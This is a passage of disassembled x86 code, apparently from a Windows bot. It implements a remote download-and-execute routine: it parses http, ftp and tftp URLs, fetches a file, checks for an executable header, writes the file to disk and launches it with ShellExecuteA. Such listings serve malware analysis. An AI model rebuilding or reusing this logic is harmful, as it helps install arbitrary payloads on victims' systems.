		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402745
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_402758


loc_402745:				; CODE XREF: sub_402698+A2j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_402758:				; CODE XREF: sub_402698+ABj
		push	offset asc_4183EC ; "\r\n\r\n"
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_40278D
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40278D:				; CODE XREF: sub_402698+E0j
		mov	eax, [ebp+var_410]
		add	eax, 4
		mov	[ebp+var_410], eax
		push	offset aContentLength ;	"Content-Length: "
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_40C], eax
		cmp	[ebp+var_40C], 0
		jz	short loc_4027CC
		mov	eax, [ebp+var_40C]
		cmp	eax, [ebp+var_410]
		jbe	short loc_4027DF


loc_4027CC:				; CODE XREF: sub_402698+124j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4027DF:				; CODE XREF: sub_402698+132j
		and	[ebp+var_41C], 0
		lea	eax, [ebp+var_41C]
		push	eax
		push	offset aContentLengthU ; "Content-Length: %u\r\n"
		push	[ebp+var_40C]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 1
		jnz	short loc_402818
		cmp	[ebp+var_41C], 0
		jnz	short loc_40282B


loc_402818:				; CODE XREF: sub_402698+175j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40282B:				; CODE XREF: sub_402698+17Ej
		cmp	[ebp+arg_1C], 0
		jz	short loc_40285D
		cmp	[ebp+var_41C], 2
		jb	short loc_40284A
		mov	eax, [ebp+var_410]
		movzx	eax, word ptr [eax]
		cmp	eax, 5A4Dh
		jz	short loc_40285D


loc_40284A:				; CODE XREF: sub_402698+1A0j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40285D:				; CODE XREF: sub_402698+197j
					; sub_402698+1B0j
		cmp	[ebp+arg_18], 0
		jz	short loc_40286E
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_41C]
		mov	[eax], ecx


loc_40286E:				; CODE XREF: sub_402698+1C9j
		push	[ebp+arg_14]
		call	sub_4167B9
		pop	ecx
		test	eax, eax
		jz	short loc_40288E
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40288E:				; CODE XREF: sub_402698+1E1j
		push	offset dword_4182AC
		push	[ebp+arg_14]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 0
		jnz	short loc_4028BF
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4028BF:				; CODE XREF: sub_402698+212j
		push	[ebp+var_418]
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		push	ecx
		push	1
		push	[ebp+var_410]
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		mov	eax, [ebp+var_41C]
		sub	eax, ecx
		mov	[ebp+var_41C], eax


loc_402910:				; CODE XREF: sub_402698:loc_402A1Dj
		cmp	[ebp+arg_20], 0
		jz	short loc_40293F
		mov	eax, [ebp+arg_20]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40293F
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40293F:				; CODE XREF: sub_402698+27Cj
					; sub_402698+285j
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402976
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_40299E


loc_402976:				; CODE XREF: sub_402698+2D3j
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	[ebp+arg_14]
		call	ds:dword_4170AC	; DeleteFileA
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40299E:				; CODE XREF: sub_402698+2DCj
		mov	eax, [ebp+var_420]
		cmp	eax, [ebp+var_41C]
		jbe	short loc_4029C8
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_4029C8:				; CODE XREF: sub_402698+312j
		push	[ebp+var_418]
		push	[ebp+var_420]
		push	1
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_41C]
		sub	eax, [ebp+var_420]
		mov	[ebp+var_41C], eax
		cmp	[ebp+var_41C], 0
		jnz	short loc_402A1D
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_402A1D:				; CODE XREF: sub_402698+366j
		jmp	loc_402910
; ---------------------------------------------------------------------------

locret_402A22:				; CODE XREF: sub_402698+2Fj
					; sub_402698+BBj ...
		leave
		retn
sub_402698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A24	proc near		; CODE XREF: sub_402A32+625p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2B	proc near		; CODE XREF: sub_402A32+673p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A32	proc near		; DATA XREF: sub_403260+BCo

var_814		= qword	ptr -814h
var_804		= qword	ptr -804h
var_7FC		= dword	ptr -7FCh
var_7F8		= qword	ptr -7F8h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_6D5		= byte ptr -6D5h
var_6D4		= byte ptr -6D4h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= byte ptr -6BCh
var_6BB		= byte ptr -6BBh
var_63C		= dword	ptr -63Ch
var_638		= byte ptr -638h
var_637		= byte ptr -637h
var_632		= byte ptr -632h
var_631		= byte ptr -631h
var_534		= byte ptr -534h
var_430		= byte ptr -430h
var_2A8		= byte ptr -2A8h
var_2A7		= byte ptr -2A7h
var_2A6		= byte ptr -2A6h
var_2A3		= byte ptr -2A3h
var_296		= byte ptr -296h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= byte ptr -284h
var_283		= byte ptr -283h
var_204		= byte ptr -204h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 804h
		push	edi
		push	3AFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		and	[ebp+var_288], 0
		mov	[ebp+var_28C], 1
		and	[ebp+var_6CC], 0
		mov	al, ds:byte_41DF00
		mov	[ebp+var_284], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_283]
		rep stosd
		stosw
		stosb
		mov	al, ds:byte_41DF00
		mov	[ebp+var_6BC], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_6BB]
		rep stosd
		stosw
		stosb
		and	[ebp+var_6C8], 0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_4185CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	7
		push	offset dword_4185C4
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_402B93
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_631]
		push	eax
		call	ds:dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_402B8E
		call	ds:dword_417064	; RtlGetLastWin32Error
		cmp	eax, 20h
		jnz	short loc_402B58
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41858C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_402B7B
; ---------------------------------------------------------------------------


loc_402B58:				; CODE XREF: sub_402A32+FFj
		lea	eax, [ebp+var_631]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41855C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_402B7B:				; CODE XREF: sub_402A32+124j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402B8E:				; CODE XREF: sub_402A32+F4j
		jmp	loc_403256
; ---------------------------------------------------------------------------


loc_402B93:				; CODE XREF: sub_402A32+D6j
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402BB5
; ---------------------------------------------------------------------------


loc_402BA8:				; CODE XREF: sub_402A32:loc_402CD8j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax


loc_402BB5:				; CODE XREF: sub_402A32+174j
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402CDD
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 3Ah
		jnz	loc_402CD8
		mov	[ebp+var_7E0], 1
		jmp	short loc_402BF2
; ---------------------------------------------------------------------------


loc_402BE5:				; CODE XREF: sub_402A32:loc_402CD3j
		mov	eax, [ebp+var_7E0]
		inc	eax
		mov	[ebp+var_7E0], eax


loc_402BF2:				; CODE XREF: sub_402A32+1B1j
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		test	eax, eax
		jz	short loc_402C23
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 2Fh
		jnz	short loc_402C7A


loc_402C23:				; CODE XREF: sub_402A32+1D6j
		mov	eax, [ebp+var_7E0]
		and	[ebp+eax+var_6D5], 0
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jz	short loc_402C75
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		add	eax, [ebp+var_7E0]
		push	eax
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6C8], 1


loc_402C75:				; CODE XREF: sub_402A32+20Ej
		jmp	loc_403251
; ---------------------------------------------------------------------------


loc_402C7A:				; CODE XREF: sub_402A32+1EFj
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 30h
		jl	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 39h
		jg	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		mov	ecx, [ebp+var_7E0]
		mov	al, [ebp+eax+var_638]
		mov	[ebp+ecx+var_6D5], al
		jmp	short loc_402CD3
; ---------------------------------------------------------------------------


loc_402CCE:				; CODE XREF: sub_402A32+25Fj
					; sub_402A32+278j
		jmp	loc_40324C
; ---------------------------------------------------------------------------


loc_402CD3:				; CODE XREF: sub_402A32+29Aj
		jmp	loc_402BE5
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_402A32+1A1j
		jmp	loc_402BA8
; ---------------------------------------------------------------------------


loc_402CDD:				; CODE XREF: sub_402A32+18Aj
					; sub_402A32:loc_40324Cj ...
		push	7
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402D37
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D13
		push	offset a80	; "80"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_402D13:				; CODE XREF: sub_402A32+2CCj
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 1
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402D37:				; CODE XREF: sub_402A32+2C3j
		push	6
		push	offset aFtp	; "ftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402DB7
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D6D
		push	offset a21	; "21"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_402D6D:				; CODE XREF: sub_402A32+326j
		lea	eax, [ebp+var_632]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 2
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402DB7:				; CODE XREF: sub_402A32+31Dj
		push	7
		push	offset aTftp	; "tftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402E0E
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402DED
		push	offset a69	; "69"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_402DED:				; CODE XREF: sub_402A32+3A6j
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 3
		jmp	short loc_402E3D
; ---------------------------------------------------------------------------


loc_402E0E:				; CODE XREF: sub_402A32+39Dj
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_418500
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402E3D:				; CODE XREF: sub_402A32+300j
					; sub_402A32+380j ...
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402E5F
; ---------------------------------------------------------------------------


loc_402E52:				; CODE XREF: sub_402A32:loc_402F11j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax


loc_402E5F:				; CODE XREF: sub_402A32+41Ej
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402F16
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 40h
		jnz	loc_402F11
		mov	eax, [ebp+var_6C0]
		and	[ebp+eax+var_638], 0
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_7E4], eax
		cmp	[ebp+var_7E4], 0
		jz	short loc_402ED8
		mov	eax, [ebp+var_7E4]
		and	byte ptr [eax],	0
		push	80h
		mov	eax, [ebp+var_7E4]
		inc	eax
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_402ED8:				; CODE XREF: sub_402A32+47Fj
		push	80h
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_637]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_402F16
; ---------------------------------------------------------------------------


loc_402F11:				; CODE XREF: sub_402A32+44Bj
		jmp	loc_402E52
; ---------------------------------------------------------------------------


loc_402F16:				; CODE XREF: sub_402A32+434j
					; sub_402A32+4DDj
		push	offset asc_4184F8 ; "/"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_288], eax
		cmp	[ebp+var_288], 0
		jnz	short loc_402F67
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_4184CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402F67:				; CODE XREF: sub_402A32+504j
		mov	eax, [ebp+var_288]
		inc	eax
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_288]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp-6D8h], eax
		and	[ebp+var_6C4], 0
		cmp	[ebp+var_6CC], 1
		jnz	short loc_403009
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402698
		add	esp, 24h
		mov	[ebp+var_28C], eax


loc_403009:				; CODE XREF: sub_402A32+582j
		cmp	[ebp+var_6CC], 2
		jnz	short loc_403065
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402A24
		add	esp, 24h
		mov	[ebp+var_28C], eax


loc_403065:				; CODE XREF: sub_402A32+5DEj
		cmp	[ebp+var_6CC], 3
		jnz	short loc_4030B3
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_402A2B
		add	esp, 1Ch
		mov	[ebp+var_28C], eax


loc_4030B3:				; CODE XREF: sub_402A32+63Aj
					; sub_402A32:loc_403256j
		cmp	[ebp+var_28C], 1
		jnz	loc_403219
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4030D7
		mov	[ebp+var_7EC], offset dword_4184C0
		jmp	short loc_403104
; ---------------------------------------------------------------------------


loc_4030D7:				; CODE XREF: sub_402A32+697j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jz	short loc_4030EE
		mov	[ebp+var_7F0], offset dword_4184B4
		jmp	short loc_4030F8
; ---------------------------------------------------------------------------


loc_4030EE:				; CODE XREF: sub_402A32+6AEj
		mov	[ebp+var_7F0], offset byte_41DF00


loc_4030F8:				; CODE XREF: sub_402A32+6BAj
		mov	eax, [ebp+var_7F0]
		mov	[ebp+var_7EC], eax


loc_403104:				; CODE XREF: sub_402A32+6A3j
		push	[ebp+var_7EC]
		mov	eax, [ebp+var_6C4]
		shr	eax, 0Ah
		mov	dword ptr [ebp+var_7F8], eax
		and	dword ptr [ebp+var_7F8+4], 0
		fild	[ebp+var_7F8]
		fstp	[ebp+var_7FC]
		call	sub_416B64	; clock
		sub	eax, [ebp-6D8h]
		mov	dword ptr [ebp+var_804], eax
		and	dword ptr [ebp+var_804+4], 0
		fild	[ebp+var_804]
		fdiv	ds:flt_417270
		fdivr	[ebp+var_7FC]
		push	ecx
		push	ecx
		fstp	[esp+814h+var_814]
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41846C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_2A7]
		test	eax, eax
		jz	short loc_403198
		lea	eax, [ebp+var_534]
		push	eax
		call	ds:dword_4170AC	; DeleteFileA
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_403198:				; CODE XREF: sub_402A32+755j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jnz	short loc_4031AE
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_403217


loc_4031AE:				; CODE XREF: sub_402A32+76Fj
		movsx	eax, [ebp+var_2A3]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_4171D0	; ShellExecuteA
		mov	[ebp+var_7E8], eax
		cmp	[ebp+var_7E8], 20h
		jbe	short loc_4031F4
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4031F2
		call	sub_407148


loc_4031F2:				; CODE XREF: sub_402A32+7B9j
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_4031F4:				; CODE XREF: sub_402A32+7AEj
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418444
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403217:				; CODE XREF: sub_402A32+764j
					; sub_402A32+77Aj ...
		jmp	short loc_40323C
; ---------------------------------------------------------------------------


loc_403219:				; CODE XREF: sub_402A32+688j
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418414
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40323C:				; CODE XREF: sub_402A32:loc_403217j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_40325B
; ---------------------------------------------------------------------------


loc_40324C:				; CODE XREF: sub_402A32:loc_402CCEj
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403251:				; CODE XREF: sub_402A32:loc_402C75j
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403256:				; CODE XREF: sub_402A32:loc_402B8Ej
		jmp	loc_4030B3
; ---------------------------------------------------------------------------


loc_40325B:				; CODE XREF: sub_402A32+157j
					; sub_402A32+406j ...
		pop	edi
		leave
		retn	4
sub_402A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403260	proc near		; CODE XREF: sub_40A9CF+959p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 0
		jnz	short loc_403271
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_403271:				; CODE XREF: sub_403260+Aj
		push	3AFh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_40328A
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_40328A:				; CODE XREF: sub_403260+23j
		push	8
		push	7Ah
		push	61h
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_410501
		add	esp, 14h
		and	[ebp+eax+var_10], 0
		push	offset dword_418620
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4032BF
		lea	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax


loc_4032BF:				; CODE XREF: sub_403260+57j
		push	104h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_14]
		add	eax, 20Ch
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		push	offset dword_4185FC
		push	0
		push	[ebp+var_14]
		push	offset sub_402A32
		call	sub_4095A4
		add	esp, 18h

locret_403329:				; CODE XREF: sub_403260+Cj
					; sub_403260+25j
		leave
		retn
sub_403260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40332B	proc near		; CODE XREF: sub_4093B6+A0p
					; sub_4094E6+9Bp ...

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	1
		push	offset dword_41DF0C
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	ds:dword_41DF08, 0
		jz	loc_4034D9
		mov	[ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER"
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_110], eax
		cmp	[ebp+var_110], 0C0000025h
		ja	short loc_4033A4
		cmp	[ebp+var_110], 0C0000025h
		jz	short loc_4033FA
		cmp	[ebp+var_110], 80000003h
		jz	short loc_4033DF
		cmp	[ebp+var_110], 0C0000005h
		jz	short loc_4033D6
		cmp	[ebp+var_110], 0C000001Dh
		jz	short loc_4033E8
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033A4:				; CODE XREF: sub_40332B+45j
		cmp	[ebp+var_110], 0C000008Dh
		jb	short loc_403413
		cmp	[ebp+var_110], 0C0000093h
		jbe	short loc_40340C
		cmp	[ebp+var_110], 0C0000094h
		jz	short loc_4033F1
		cmp	[ebp+var_110], 0C00000FDh
		jz	short loc_403403
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033D6:				; CODE XREF: sub_40332B+69j
		mov	[ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033DF:				; CODE XREF: sub_40332B+5Dj
		mov	[ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033E8:				; CODE XREF: sub_40332B+75j
